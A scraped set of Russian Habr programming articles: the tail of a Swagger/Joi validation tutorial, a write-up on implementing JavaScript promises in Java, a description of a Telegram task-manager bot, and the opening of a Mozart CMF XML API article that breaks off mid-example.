export const swLoginRoute = {
"/login": {
"get": {
...swGetUserInfo
},
"patch": {
...swUpdateInfo
}
}
}
```
Выше описан путь /login, поддеживающий два метода: get и patch. Спецификации методов берутся инлудами из файлов get-user-into.ts и update-info.ts. Эти же файлы у меня содержат сами роуты.
4. Написать спецификацию роута и валидацию данных
-------------------------------------------------
Спецификация роута будет создаваться автоматически, на основе Joi-схемы.
Для начала сделаем инклуд будущей схемы в нашем роуте.
*Примечание: совершенно не важно как вы располагаете ваши файлы, если соответственно модифицируете инклуды.*
Строки из файла update-info.ts, в котором расположен мой роут (код код его самого нам не важен):
```
import schema, {joiSchema} from './update-info.spec/schema'
export const swUpdateInfo = {
"summary": "update the user info",
"tags": [
"login"
],
"parameters": [
{
"name": "key",
"in": "header",
"schema": {
"type": "string"
},
"required": true
}
],
"requestBody": {
"content": {
"application/json": {
"schema": {
...schema
}
}
}
},
"responses": {
"200": {
"description": "Done"
},
"default": {
"description": "Error message"
}
}
}
// ...далее идёт код роута
```
Этот JSON-объект можно сгенерить той же Swagger-утилитой, чтобы не мучать себя. Обратите внимание на следующую строку:
```
"schema": {
...schema
}
```
Это обеспечивает динамическое подключение нашей схемы.
Теперь можно добавить Joi-валидацию в роуте:
```
await joiSchema.validateAsync(req.body)
```
4. Пишем Joi-схему
------------------
Установка Joi:
```
npm install --save joi joi-to-swagger
```
Пример содержимого файла:
```
const joi = require('joi')
const j2s = require('joi-to-swagger')
// Joi
export const joiSchema = joi.object().keys({
mode: joi.string().required(),
email: joi.string().email()
})
// end of Joi
const schema = j2s(joiSchema).swagger
export default schema
```
Данный файл осуществляет экспорт Joi-объекта и его swagger-схемы.
*Чтож, на данном этапе у нас уже есть самодокументирующийся SWAGGER-сервер и валидация данных. Осталось настроить автоматическую генерацию TypeScript-интерфейсов*
5. Генерация интерфейсов TypeScript
-----------------------------------
```
npm install --save-dev gulp @babel/register @babel/plugin-proposal-class-properties @babel/preset-env @babel/preset-typescript
```
Задачи на себя возьмёт Gulp. Это самая чувствительная часть системы, которую нужно настроить вручную под структуры вашего проекта. Вот как выглядит gulpfile.ts у меня:
```
const gulp = require('gulp')
const through = require('through2')
import { compile } from 'json-schema-to-typescript'
const fs = require('fs')
const endName = "schema.ts"
const routes = `./routes/**/*.spec/*${endName}`
function path(str: string) : string
{
let base = str
if(base.lastIndexOf(endName) != -1)
base = base.substring(0, base.lastIndexOf(endName))
return base
}
gulp.task('schema', () => {
return gulp.src(routes)
.pipe(through.obj((chunk, enc, cb) => {
const filename = chunk.path
import(filename).then(schema => { // dynamic import
console.log('Converting', filename)
compile(schema.default, `IDTO`)
.then(ts => {
//console.log(path(filename).concat('interface.ts'), ts)
fs.writeFileSync(path(filename).concat('interface.ts'), ts)
})
})
cb(null, chunk)
}))
})
// watch service
const { watch, series } = require('gulp')
exports.default = function() {
watch(routes, series('schema'))
}
```
Скрипт обходит все подкаталоги с названием \**.spec* внутри каталога с роутера. Там он ищет файлы с именами *\**schema.ts и создаёт рядом файлы c именами \*interface.ts
Заключение
----------
Разумеется, эти большие и сложные JSON-объекты с openAPI-спецификацией пугают, но надо понимать, что они не пишутся вручную, а геренятся [SWAGGER-утилитой.](https://swagger.io/tools/swagger-editor/)
Из-за неопытности первичная настройка механизма может занять какое-то время, но это приведет к экономии сотен часов, которые могли бы быть потрачены на рутину! | https://habr.com/ru/post/538260/ | null | ru | null |
# Реализуем промисы на Java
Всем доброго времени суток. Сегодня я хочу рассказать о том, как писал реализацию механизма промисов для своего JS движка. Как известно, не так давно вышел новый стандарт ECMA Script 6, и концепция промисов выглядит довольно интересно, а также уже очень много где применяется веб-разработчиками. Поэтому для любого современного JS движка это, безусловно, must-have вещь.
Внимание: в статье довольно много кода. Код не претендует на красоту и высокое качество, поскольку весь проект писался одним человеком и всё ещё находится в бете. Цель данного повествования — показать, как же всё работает под капотом. Кроме того, после небольшой адаптации данный код можно использовать для создания проектов чисто на Java, без оглядки на JavaScript.
Первое, с чего стоило начать написание кода — это с изучения того, как всё **должно** работать в итоге. Архитектура получившегося модуля во многом определялась по ходу процесса.
### Что такое Promise?
Promise — это специальный объект, который при создании находится в состоянии *pending* (пусть это будет константа равная 0).
Далее объект начинает исполнять функцию, которая была передана в его конструктор при создании. Если функция не была передана — следуя стандарту ES6, мы должны бросить исключение *argument is not a function*. Однако в нашей Java реализации можно ничего не кидать, и создать объект «как есть» (просто потом добавить дополнительную логику, я скажу об этом позже).
Итак, конструктор принимает функцию. В нашем движке это объект класса Function, реализующий метод call. Данный метод позволяет вызвать функцию, принимая на вход контекст исполнения, вектор с аргументами, и boolean параметр, определяющий режим вызова (вызов как конструктора или обычный режим).
Далее эта функция записывается в поле нашего объекта и потом может быть вызвана.
```
public static int PENDING = 0;
public static int FULFILLED = 1;
public static int REJECTED = 2;
...
private int state = 0;
private Function func;
```
Заодно здесь же создадим константы для наших двух оставшихся состояний, и int поле, хранящее текущее состояние объекта.
Итак, согласно стандарту наша функция в процессе своего выполнения может вызвать одну из двух функций (которые передаются ей в качестве первых двух аргументов, поэтому по-хорошему мы должны задать их имена в сигнатуре функции). Обычно используют что-то вроде resolve и reject для простоты.
Это — обычные функции с точки зрения JavaScript, а значит, объекты Function с точки зрения нашего движка. Добавим поля и для них:
```
public Function onFulfilled = null;
public Function onRejected = null;
```
Эти функции могут быть вызваны в любой момент нашей основной рабочей функцией, а значит, должны находиться в её области видимости (scope). Кроме того, отработав, они должны менять состояние нашего объекта на *fulfilled* и *rejected*, соответственно. Наши функции ничего не знают про промисы (и знать не должны). Поэтому, нам нужно создать некую обёртку, которая будет про них знать, и сможет инициировать смену состояния.
Также нам нужен метод setState() для нашего объекта (с дополнительными проверками: например, мы не имеем права менять состояние, если оно уже *fulfilled* или *rejected*).
Займёмся конструктором нашего объекта:
```
public Promise(Function f) {
func = f;
onFulfilled = new PromiseHandleWrapper(this, null, Promise.FULFILLED);
onRejected = new PromiseHandleWrapper(this, null, Promise.REJECTED);
if (f != null) {
Vector args = new Vector();
args.add(onFulfilled);
args.add(onRejected);
func.call(null, args, false);
}
}
```
Здесь, кажется, всё понятно. Если функция передана — мы обязаны вызвать её немедленно. Если нет — то ничего пока что не делаем (а наш объект сохраняет состояние *pending*).
Теперь про установку самих этих обработчиков (ведь в основной функции мы только объявляем их имена как формальные параметры). Для этого стандартом предусмотрены три варианта: Promise.then(resolve, reject), Promise.then(resolve) (эквивалентно Promise.then(resolve, null)), и Promise.catch(reject) (эквивалентно Promise.then(null, reject)).
Насчёт функции then: очевидно, что лучше всего реализовать подробно метод с двумя аргументами, а оставшиеся два сделать как «шорткаты» на него. Так и поступим:
```
public Promise then(Function f1, Function f2) {
if (state == Promise.FULFILLED || state == Promise.REJECTED) {
onFulfilled = new PromiseHandleWrapper(this, f1, Promise.FULFILLED);
onRejected = new PromiseHandleWrapper(this, f2, Promise.REJECTED);
onFulfilled.call(null, new Vector(), false);
return this;
}
...
onFulfilled = new PromiseHandleWrapper(this, f1, Promise.FULFILLED);
onRejected = new PromiseHandleWrapper(this, f2, Promise.REJECTED);
if (func != null) {
String name1 = func.getParamsCount() > 0 ? func.getParamName(0) : "resolve";
String name2 = func.getParamsCount() > 1 ? func.getParamName(1) : "reject";
func.injectVar(name1, onFulfilled);
func.injectVar(name2, onRejected);
}
if (f1 != null) has\_handler = true;
if (f2 != null) has\_error\_handler = true;
return this;
}
```
В конце мы возвращаем ссылку на себя: это нужно для последующей реализации чейнинга промисов.
Что за блок у нас в начале метода, спросите вы? А дело в том, что наш обработчик мог исполниться ещё до того, как мы в первый раз вызвали then (такое бывает, и это совершенно нормально). В этом случае мы должны вызвать нужный обработчик из переданных в метод немедленно.
В месте многоточия потом будет ещё код, про него чуть позже.
Далее идёт установка наших обработчиков в нужные поля.
А вот далее самое интересное. Предположим, наша рабочая функция исполняется достаточно долго (запрос по сети, или просто setTimeout для учебного примера). В этом случае она по сути как бы исполнится, но создаст ряд объектов (таймер, сетевой XmlHttpRequest интерфейс и т.д.) которые исполнят некоторый код позднее. И эти объекты имеют доступ к scope нашей функции!
Поэтому сейчас ещё может быть не поздно добавить нужные переменные в её область видимости (а если поздно — то исполнится код в начале метода). Для этого мы создаём новый метод в классе Function:
```
public void injectVar(String name, JSValue value) {
body.scope.put(name, value);
}
public void removeVar(String name) {
body.scope.remove(name);
}
```
Второй метод нам фактически не понадобится: он создан чисто ради полноты картины.
Теперь время реализовать шорткаты:
```
public Promise then(Function f) {
return then(f, null);
}
public Promise _catch(Function f) {
return then(null, f);
}
```
catch — зарезервированное слово в языке java, поэтому нам пришлось добавить знак подчёркивания.
Теперь опишем метод setState. В первом приближении он будет выглядеть так:
```
public void setState(int value) {
if (this.state > 0) return;
this.state = value;
}
```
Отлично, теперь мы сможем менять состояние из наших обработчиков — точнее, из обёрток над ними. Займёмся обёртками:
```
public class PromiseHandleWrapper extends Function {
public PromiseHandleWrapper(Promise p, Function func, int type) {
this.promise = p;
this.func = func;
this.to_state = type;
}
@Override
public JSValue call(JSObject context, Vector args, boolean as\_constr) {
return call(context, args);
}
@Override
public JSValue call(JSObject context, Vector args) {
JSValue result;
if (func != null) {
Block b = getCaller();
if (b == null) {
b = func.getParentBlock();
while (b.parent\_block != null) {
b = b.parent\_block;
}
}
func.setCaller(b);
result = func.call(context, args, false);
} else {
result = Undefined.getInstance();
}
promise.setResult(result);
promise.setState(to\_state);
return promise.getResult();
}
@Override
public JSError getError() {
return func.getError();
}
private Promise promise;
private Function func;
private int to\_state = 0;
}
```
Типов обёрток у нас два, но класс один. А за тип отвечает целочисленное поле to\_state. Вроде, неплохо :)
Обёртка имеет ссылки как на свою функцию, так и на свой промис. Это очень важно.
С конструктором всё понятно, давайте посмотрим на метод call, переопределяющий метод класса Function. Для нашего JS интерпретатора — обёртки такие же функции, то есть объекты с тем же интерфейсом, которые можно вызывать, получать их значения, и так далее.
Сначала нам нужно пробросить в функцию объект Caller, полученный при вызове обёртки — это нужно как минимум для корректного всплытия исключений.
Далее мы вызываем нашу функцию и сохраняем в поле результат её исполнения. Заодно устанавливаем его в объект промиса, для чего создадим там ещё один метод setResult:
```
public JSValue getResult() {
return result;
}
public void setResult(JSValue value) {
result = value;
}
```
Про последнюю строчку пока говорить не будем: это нужно для чейнинга. В самом тривиальном случае там вернётся то же самое значение, которое мы только что получили и передали.
Важный момент: рабочая функция может вызвать resolve или reject до того, как мы вызовем метод then или catch (или мы можем не вызвать их вовсе). Чтобы при этом у нас не возникло исключения, прямо при создании промиса у нас создаются две «дефолтных» обёртки, у которых нет функций-обработчиков. При вызове они всего лишь поменяют состояние нашего промиса (и потом при вызове then это будет учтено).
### Чейнинг промисов
Если коротко, чейнинг — это возможность писать вещи вида p.then(f1, f2).then(f3, f4).catch(f5).
Именно для этого наши методы then и \_catch возвращают объект Promise.
Первое, что говорит нам стандарт — это то, что метод then при наличии существующего обработчика должен создать новый промис и добавить его в цепочку. Поскольку наши промисы должны быть равны между собой — пускай у нас не будет никакого головного промиса, хранящего линейный список, а каждый промис будет хранить только ссылку на следующий (изначально она равна null):
```
public Promise then(Function f1, Function f2) {
if (state == Promise.FULFILLED || state == Promise.REJECTED) {
onFulfilled = new PromiseHandleWrapper(this, f1, Promise.FULFILLED);
onRejected = new PromiseHandleWrapper(this, f2, Promise.REJECTED);
onFulfilled.call(null, new Vector(), false);
return this;
}
if (has\_handler || has\_error\_handler) {
if (next != null) {
return next.then(f1, f2);
}
Promise p = new Promise(null);
p.then(f1, f2);
next = p;
return p;
}
onFulfilled = new PromiseHandleWrapper(this, f1, Promise.FULFILLED);
onRejected = new PromiseHandleWrapper(this, f2, Promise.REJECTED);
if (func != null) {
String name1 = func.getParamsCount() > 0 ? func.getParamName(0) : "resolve";
String name2 = func.getParamsCount() > 1 ? func.getParamName(1) : "reject";
func.injectVar(name1, onFulfilled);
func.injectVar(name2, onRejected);
}
if (f1 != null) has\_handler = true;
if (f1 != null) has\_error\_handler = true;
return this;
}
...
private Promise next = null;
```
Вот и наш недостающий блок: если у нас уже есть следующий промис — передаём вызов ему и выходим (а он, если надо, передаст следующему, и так до конца). А если его нет — создаём и назначаем ему обработчики, которые получили в метод, после чего возвращаем уже его. Всё просто.
Теперь доработаем метод setState:
```
public void setState(int value) {
if (this.state > 0) return;
this.state = value;
Vector args = new Vector();
if (result != null) args.add(result);
if (value == Promise.FULFILLED && next != null) {
if (onFulfilled.getError() == null) {
if (result != null && result instanceof Promise) {
((Promise)result).then(next.onFulfilled, next.onRejected);
next = (Promise)result;
} else {
result = next.onFulfilled.call(null, args, false);
}
} else {
args = new Vector();
args.add(onFulfilled.getError().getValue());
result = next.onRejected.call(null, args, false);
}
}
if (value == Promise.REJECTED && !has\_error\_handler && next != null) {
result = next.onRejected.call(null, args, false);
}
}
```
Во-первых, стандарт говорит о том, что мы обязаны передать обработчику следующего промиса результат работы предыдущего (в этом основной смысл чейнинга — назначить операцию, потом назначить вторую, и сделать так, чтобы вторая при старте приняла результат первой).
Во-вторых — ошибки обрабатываются особым образом. Если успешный результат передаётся по цепочке (видоизменяясь) до конца, то вот возникшая в коде обработчика ошибка — передаётся только на один шаг, до следующего onrejected, либо всплывает наверх, если достигнут конец цепочки.
В-третьих — функции могут вернуть новый промис. В этом случае мы обязаны подменить наш next, если он уже задан, на него (перебросив имеющиеся обработчики). Это, опять же, позволяет сочетать а цепочке обработчики моментального исполнения, и асинхронные — которые сами возвращают Promise.
Вышеприведённый код адресует все эти сценарии.
### Первые тесты
```
JSParser jp = new JSParser("function cbk(str) { \"Promise fulfilled: \" + str } function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 1500) }");
System.out.println();
System.out.println("function cbk(str) { \"Promise fulfilled: \" + str }");
System.out.println("function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 1500) }");
System.out.println();
Expression exp = Expression.create(jp.getHead());
exp.eval();
jsparser.Function f = (jsparser.Function)Expression.getVar("f", exp);
f.setSilent(true);
jsparser.Promise p = new jsparser.Promise(f);
p.then((jsparser.Function)Expression.getVar("cbk", exp));
```
Пока что мы управляем всем со стороны Java кода. Тем не менее, всё уже работает: через полторы секунды мы увидим в консоли надпись «Promise fulfilled: OK». Кстати, наши функции resolve и reject, будучи вызванными из рабочей функции промиса, без чейнинга, могут принимать произвольное число аргументов. Весьма удобно. В этом примере мы передали строку «OK».
Ещё небольшое замечание: у промисов, созданных во время чейнинга, отсутствуют рабочие функции в принципе. У них сразу вызываются обработчики при смене состояния предыдущего промиса.
Пример посложнее:
```
JSParser jp = new JSParser("function cbk1(str) { \"Promise 1 fulfilled: \" + str; return str } " +
"function cbk2(str) { setTimeout(str => { \"Promise 2 fulfilled: \" + str }, 1000); throw \"ERROR\" } " +
"function cbk3(str) { \"Promise 3 fulfilled: \" + str; return str } " +
"function err(str) { \"An error has occured: \" + str } " +
"function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 300) }");
System.out.println();
System.out.println("function cbk1(str) { \"Promise 1 fulfilled: \" + str; return str }");
System.out.println("function cbk2(str) { setTimeout(str => { \"Promise 2 fulfilled: \" + str }, 1000); throw \"ERROR\" }");
System.out.println("function cbk3(str) { \"Promise 3 fulfilled: \" + str; return str }");
System.out.println("function err(str) { \"An error has occured: \" + str }");
System.out.println("function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 300) }");
System.out.println("(new Promise(f)).then(cbk1).then(cbk2).then(cbk3, err)");
System.out.println();
Expression exp = Expression.create(jp.getHead());
((jsparser.Function)Expression.getVar("f", exp)).setSilent(true);
((jsparser.Function)Expression.getVar("cbk2", exp)).setSilent(true);
exp.eval();
jsparser.Function f = (jsparser.Function)Expression.getVar("f", exp);
f.setSilent(true);
jsparser.Promise p = new jsparser.Promise(f);
p.then((jsparser.Function)Expression.getVar("cbk1", exp))
.then((jsparser.Function)Expression.getVar("cbk2", exp))
.then((jsparser.Function)Expression.getVar("cbk3", exp),
(jsparser.Function)Expression.getVar("err", exp));
```
Вызвав данный пример, мы получим следующий вывод:
`{}
"Promise 1 fulfilled: OK"
"OK"
"An error has occured: ERROR"
undefined
"Promise 2 fulfilled: OK"`
Первые фигурные скобки — это объект промиса, который нам вернула наша цепочка вызовов then в результате чейнинга. В функции cbk1 мы вернули «OK» — и это значение было передано в cbk2, что мы и видим в последней строке. Внутри cbk2 мы бросаем ошибку со значением «ERROR» — поэтому cbk3 у нас не исполняется, зато исполняется err (как и должно быть при возникновении ошибки в обработчике предыдущего промиса в цепи). Но этот код исполняется моментально, а вот вывод cbk2 осуществляется через вспомогательную функцию, повешенную на таймер. Она имеет доступ к переменной str, как и должна, но её вывод идёт из-за этого ниже. Если исполнить данный пример в Chrome 49, мы получим ровно тот же вывод с одним исключением: переменная str не видна в анонимной функции, переданной в setTimeout. Это особенность поведения стрелочных функций в Хроме (а возможно, так нужно по стандарту, здесь я затрудняюсь сказать, в чём дело). Если поменять стрелочную функцию на обычную — вывод станет идентичным.
### Проброс в JavaScript
Но это ещё не всё. Наша конечная цель — чтобы новые возможности мог использовать JS код, исполняемый нашим интерпретатором. Впрочем, это уже дело техники.
Создаём конструктор:
```
public class PromiseC extends Function {
public PromiseC() {
items.put("prototype", PromiseProto.getInstance());
PromiseProto.getInstance().set("constructor", this);
}
@Override
public JSValue call(JSObject context, Vector args, boolean as\_constr) {
return call(context, args);
}
@Override
public JSValue call(JSObject context, Vector args) {
if (args.size() == 0) return new Promise(null);
if (!args.get(0).getType().equals("Function")) {
JSError e = new JSError(null, "Type error: argument is not a function", getCaller().getStack());
getCaller().error = e;
return new Promise(null);
}
return new Promise((Function)args.get(0));
}
}
```
И объект-прототип с набором нужных методов:
```
public class PromiseProto extends JSObject {
class thenFunction extends Function {
@Override
public JSValue call(JSObject context, Vector args, boolean as\_constr) {
if (args.size() == 1 && args.get(0).getType().equals("Function")) {
return ((Promise)context).then((Function)args.get(0));
} else if (args.size() > 1 && args.get(0).getType().equals("Function") &&
args.get(1).getType().equals("Function")) {
return ((Promise)context).then((Function)args.get(0), (Function)args.get(1));
} else if (args.size() > 1 && args.get(0).getType().equals("null") &&
args.get(1).getType().equals("Function")) {
return ((Promise)context).\_catch((Function)args.get(1));
}
return context;
}
}
class catchFunction extends Function {
@Override
public JSValue call(JSObject context, Vector args, boolean as\_constr) {
if (args.size() > 0 && args.get(0).getType().equals("Function")) {
return ((Promise)context).\_catch((Function)args.get(0));
}
return context;
}
}
private PromiseProto() {
items.put("then", new thenFunction());
items.put("catch", new catchFunction());
}
public static PromiseProto getInstance() {
if (instance == null) {
instance = new PromiseProto();
}
return instance;
}
@Override
public void set(JSString str, JSValue value) {
set(str.getValue(), value);
}
@Override
public void set(String str, JSValue value) {
if (str.equals("constructor")) {
super.set(str, value);
}
}
@Override
public String toString() {
String result = "";
Set keys = items.keySet();
Iterator it = keys.iterator();
while (it.hasNext()) {
if (result.length() > 0) result += ", ";
String str = (String)it.next();
result += str + ": " + items.get(str).toString();
}
return "{" + result + "}";
}
@Override
public String getType() {
return type;
}
private String type = "Object";
private static PromiseProto instance = null;
}
```
Не забудем добавить в конструктор Promise одну строчку в самом начале, чтобы всё работало:
```
public Promise(Function f) {
items.put("__proto__", PromiseProto.getInstance());
...
}
```
И поменяем немного наш тест:
```
JSParser jp = new JSParser("function cbk1(str) { \"Promise 1 fulfilled: \" + str; return str } " +
"function cbk2(str) { setTimeout(str => { \"Promise 2 fulfilled: \" + str }, 1000); throw \"ERROR\" } " +
"function cbk3(str) { \"Promise 3 fulfilled: \" + str; return str } " +
"function err(str) { \"An error has occured: \" + str } " +
"function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 300) }; " +
"(new Promise(f)).then(cbk1).then(cbk2).then(cbk3, err)");
System.out.println();
System.out.println("function cbk1(str) { \"Promise 1 fulfilled: \" + str; return str }");
System.out.println("function cbk2(str) { setTimeout(str => { \"Promise 2 fulfilled: \" + str }, 1000); throw \"ERROR\" }");
System.out.println("function cbk3(str) { \"Promise 3 fulfilled: \" + str; return str }");
System.out.println("function err(str) { \"An error has occured: \" + str }");
System.out.println("function f(resolve, reject) { setTimeout(function() { resolve(\"OK\") }, 300) }");
System.out.println("(new Promise(f)).then(cbk1).then(cbk2).then(cbk3, err)");
System.out.println();
Expression exp = Expression.create(jp.getHead());
((jsparser.Function)Expression.getVar("f", exp)).setSilent(true);
((jsparser.Function)Expression.getVar("cbk2", exp)).setSilent(true);
exp.eval();
jsparser.Function f = (jsparser.Function)Expression.getVar("f", exp);
f.setSilent(true);
```
Вывод не должен измениться.
На этом всё! Всё отлично работает, можно писать дополнительные юнит-тесты и искать возможные ошибки.
Как приспособить этот механизм для Java? Очень просто. Создаём класс, аналогичный нашему Function, который что-то делает в методе operate. И оборачиваем уже его в нашу обёртку. В любом случае, на этот счёт есть много замечательных паттернов, с которыми можно поиграться.
Надеюсь, данная статья была кому-то полезна. Исходники движка я обязательно выложу, как только доведу их до ума и добавлю недостающий функционал. Удачного дня! | https://habr.com/ru/post/350444/ | null | ru | null |
# Бот в качестве таск-менеджера?
Предлагаю читателям "Хабрахабра" историю о том, как я искал удобный таск-менеджер для работы среди множества готовых решений и в итоге остановился на самописном.
Вам будет интересно почитать, если вы:
* Не довольны своим таск-менеджером, так как он очень сложный/неудобный
* Работаете с небольшой командой
* Часто взаимодействуете с коллегами через месенджеры, и вам хотелось бы иметь таск-менеджер под рукой
* Хотели бы начать знакомство с простым и понятным таск-менеджером
Решение распространяется под лицензией GNU GPL, ссылка на репозиторий будет в конце статьи.
Програмистские мытарства
========================
С того времени, когда я, будучи начальником отдела, активно искал удобный и понятный таск-менеджер для своей команды прошло уже около двух лет. Я много чего перепробывал, всего и не упомнишь. Использовали мы и бесплатные решения с минимальной функциональностью, и платные продукты с возможностью дорабатывать и расширять функционал, и известные онлайн-платформы, столь любимые многими. Проблема всегда одна — задачи обсуждаются и формируются в месенджере, а ставятся в браузере. Мне это всегда казалось не удобным, ибо в ходе долгого обсуждения нового функционала и "разбора полетов" с командой, часто просто нет времени регистрировать все всплывающие задачи в стороннем решении, а искать их в истории месенджера не удобно.
Так же я заметил одну интересную вещь — я никогда не использую таск-менеджер более чем на 10-20% от его возможностей. Я не пользуюсь декомпозицией, диаграммой Ганта, приоритетами и датой окончания задачи. Как правило все эти функции постепенно становятся невостребованными и наша команда использует только две из них — постановка задачи и ее маркировка для поиска.
К счастью, мы никогда не работали с задачами в условиях сжатых сроков, от того, весь функционал таск-менеджера у нас сводился к todo-листу с несколькими дополнительными функциями.
Таск-бот
========
Долго обдумывая функционал идеального, по моему мнению, таск-менеджера, я набросал себе простенькое ТЗ и решил реализовать придуманное в виде бота для Telegram. Идея бота довольна проста — бот должен регистрировать задачи, помечая их метками для поиска, а после исполнения задачи, бот должен помечать ее как завершенную. Для удобства использования, бот был снабжен двумя важными функциями: комментирование ранее созданной задачи и оповещение об изменении задачи.
Решение было написано мной за несколько ночей в свободное от работы время. В качестве языка был использован PHP, так как это мой основной (на данный момент) ЯП, а так же несколько открытых пакетов и Doctrine 2. Бот пока не использует webhook для получения сообщений от пользователей, а работает на простом полинге. Такое решение было выбрано мной чтобы не усложнять реализацию на начальном этапе, ведь будущее проекта еще туманно. Само решение доступно на GitHub, но на время бета-теста я подготовил рабочий демо-стенд, который вы сможете использовать для ознакомления с ботом.
Возможности
===========
Функционал бота разделен на две категории: работа с метками и работа с задачами. Метки используются для поиска задач по ключевым словам, а задачи аккумулируют все остальные данные.
Работа с метками
----------------
Под меткой бот понимает любое слово, смайл или username пользователя (с ведущим знаком @), которым помечаются задачи. Задача может быть помечена любым количеством меток, по которым, в будущем, ее будет просто найти. Для удобства использования, в боте используется механизм "текущих меток". С его помощью любой пользователь определяет в начале сеанса использования бота список меток, который будет применяться ко всем создаваемым задачам.
Рассмотрим пример работы с метками. Предположим вы решили создать несколько задач для вашей команды, занимающийся проектом "Зевс". Между вами и ботом будет следующий диалог:
```
Вы: /ms зевс backend
Бот: ок
Вы: /t Новая задача
Бот: ок
Вы: /t Еще одна задача
Описание задачи
Бот: ок
Вы: /ts
Бот:
1 - Новая задач
2 - Еще одна задача
```
Все создаваемые вами задачи будут помечены вашими текущими метками (зевс и backend), которые вы задали с помощью команды `/ms`.
Текущие метки индивидуальны для каждого пользователя. Это позволяет работать с ботом команде разработчиков и не мешать друг другу. Для получения списка ваших текущих меток используется команда `/ms` (без аргументов), а для получения списка всех меток, используется команда `/ms *`.
Работа с задачами
-----------------
Задача включает следующие данные:
* Заголовок — название задачи
* Описание — подробное описание задачи (может отсутствовать, если заголовка достаточно)
* Даты создания, последнего изменения и завершения
Задачи так же можно комментировать, но комментарии добавляются в конец блока описания.
Рассмотрим пример работы с задачами. Предположим ваша команда приступила к выполнению поставленных ранее задач:
```
Разработчик: /ts
Бот:
1 - Новая задач
2 - Еще одна задача
Разработчик: /t 1
Бот:
Старт: 12.07.2017
Метки: зевс backend
Новая задача
Разработчик: /t 1 c
Комментарий разработчика
Бот: ок
Разработчик: /t 2 t
Новое название для задачи
Бот: ок
Разработчик: /d 2
Бот: ок
```
Как видно из примеров, команда `/t` позволяет не только создавать задачи, но так же просматривать их и редактировать. При редактировании задачи, помимо идентификатора целевой задачи используется флаг, определяющий редактируемое поле. Доступны следующие флаги:
* title (t) — редактирование названия задачи
* description (d) — редактирования описания задачи
* marks (m) — редактирование меток задачи
* comment © — добавление комментария задачи
* subscribe (s) — подписка на изменение задачи
* unsubscribe (us) — отписка от изменений задачи
Для завершения задачи используется команда `/d`. Завершенные задачи автоматически помечаются "виртуальной" меткой "выполнено", что позволяет получить к ним доступ в будущем, на пример так:
```
Вы: /ts выполнено зевс backend
Бот:
2 - Новое название для задачи
```
Так же к "виртуальным" меткам относится "сегодня". Этой меткой помечаются все созданные или завершенные за последние сутки задачи.
Как я уже говорил ранее, бот умеет оповещать участников об изменении в задаче. Под изменениями понимается:
* Изменение названия задачи
* Изменение описания задачи
* Комментирование задачи
Если вы подписаны на оповещения конкретной задачи, бот напишет вам в личный чат при каждом изменении и укажет, что и как было изменено у конкретной задачи.
Работа с пользователями
-----------------------
Очень часто при постановке задач участникам проекта необходимо сразу же указать ответственных и подписать их на оповещения по этим задачам. Для этого используется специальная метка `@username` (username заменяется именем целевого пользователя). Если пользователь с таким именем есть в базе данных бота (взаимодействовал с ним когда-либо), он будет автоматически подписан на оповещения.
Пример:
```
Вы: /ms зевс backend @developer @manager
Бот: ок
Вы: /t Срочный баг
Бот: ок
```
Просмотреть все задачи, участниками которых являются конкретные пользователи так же просто, ведь используются обычные метки:
```
Разработчик: /ms зевс @developer
Бот: ок
Разработчик: /ts
Бот:
3 - Срочный баг
```
Послесловие
===========
Скажу честно, опробовать бота на реальном проекте мне еще не довелось. Надеюсь, что сделаю это после отпуска. Если вас заинтересовало данное решение, вот несколько ссылок:
* [Демо-стенд](https://web.telegram.org/#/im?p=@RemarkBot)
* [Бот на GitHub](https://github.com/Bashka/taskbot) | https://habr.com/ru/post/305462/ | null | ru | null |
# Mozart CMF: API, основанный на XML
Итак, в своей первой статья я сделал несколько предположений об [архитектуре предметной области в CMF/CMS системах](http://habrahabr.ru/blogs/webdev/71279/). Тогда я сделал предположение об объектной модели я связанном с нею сервисе, который умел обрабатывать входящие запросы и выдавать нужный результат на основании внутренней структуры модели.
Сегодня, сейчас, я бы хотел коснуться вопроса непосредственного использования такой системы в существующем фреймворке [Mozart](http://www.mozartframework.ru), не так давно впущенном компанией [ADV](http://www.adv.ru) под лицензией GPLv3.
Основой API Mozart'а служат newt-контейнеры. Newt — это XML-контейнер (в XML-фрагменте), который специальным образом обрабатывается XML-парсером. Newt может быть как одиночным тэгом (закрытым тэгом ), так и контейнером (содержит в себе другие контейнеры (newt'ы, инструкции)). Аналог newt'а — это функция, задачей которой является произвести какие-то действия (и вернуть результат, если требуется).
Парсер XML генерирует события по мере обработки данных XML, на эти события вешаются программные обработчики. Для нас важно 2 события: *onStartTag* и *onEndTag*. Все newt'ы обрабатываются на *onEndTag*. Это дает нам то, что сначала отрабатывают рекурсивно все вложенные newt'ы (вложенные инструкции), а потом уже их родители. Т.е. каждый вложенный newt генерирует какое-то содержимое для своего родительского newt'а, а родительский newt этот XML фрагмент может использовать по назначению (просто как контент или как свои инструкции (поскольку его тело уже полностью определено и закончено к моменту обработки)).
Newt-контейнер может содержать помимо других вложенных newt-контейнеров контейнеры-инструкции (специально оформленное XML-описание, указывающее newt'у, что делать). Инструкции обрамляются в специальный тэг (например, *request* или *request-data*), чтобы отличить их от простого XML-фрагмента, и могут быть произвольными согласно заложенному в программу функционалу: сохранение в БД, чтение из БД, выставление параметров и т.п. Для каждого контейнера так же определен контекст, которым можно управлять. Выполняется текущая инструкция в текущем контексте (который она получила). Выставляется контекст для нижестоящих инструкций.
Теперь применим эти знания на конкретном примере. В качестве такого возьмем выборки из БД, как наиболее основной и частый компонент любого проекта. За эту функцию в системе отвечает контейнер .
Особенностью работы с данными в Mozart можно считать то, что оперировать с ними в системе надо как с объектами. Представьте себе все таблицы Базы Данных, их связи как набор объектов терминологического поля, связанных между собой. Этим объектам можно дать «человеческие» названия и построить граф, как на рисунке ниже.
Жизненная ситуация по созданию системы для оператора мобильной связи может быть изображена как набор объектов реальной жизни, связанных между собой. На графе описывается ситуация с сотовой связью: оператор — регион — тариф — симкарта(номер) — контракт — телефон — брэнд — человек — где прописан.
На основании такой структуры мы можем строить произвольные запросы для получения данных. Возьмем для примера несколько ситуаций, в которых используются различные условия:
* каким брэндом пользуются люди, чей возраст от 20 до 30 лет;
* список людей, пользующихся услугами конкретного оператора;
* список людей, чья фамилия содержит заданную последовательность символов.
Каким брэндом пользуются люди, чей возраст от 20 до 30 лет:
> `Copy Source | Copy HTML
